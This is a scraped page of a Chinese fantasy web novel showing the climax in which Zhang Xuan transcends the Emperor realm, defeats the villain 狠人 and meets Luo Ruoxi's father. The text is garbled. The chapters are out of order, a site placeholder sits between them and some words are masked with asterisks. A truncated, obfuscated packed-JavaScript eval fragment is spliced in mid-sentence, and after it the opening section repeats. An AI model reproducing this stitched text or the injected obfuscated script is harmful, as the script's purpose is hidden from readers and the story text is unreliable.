是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第196章黄雀在后 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 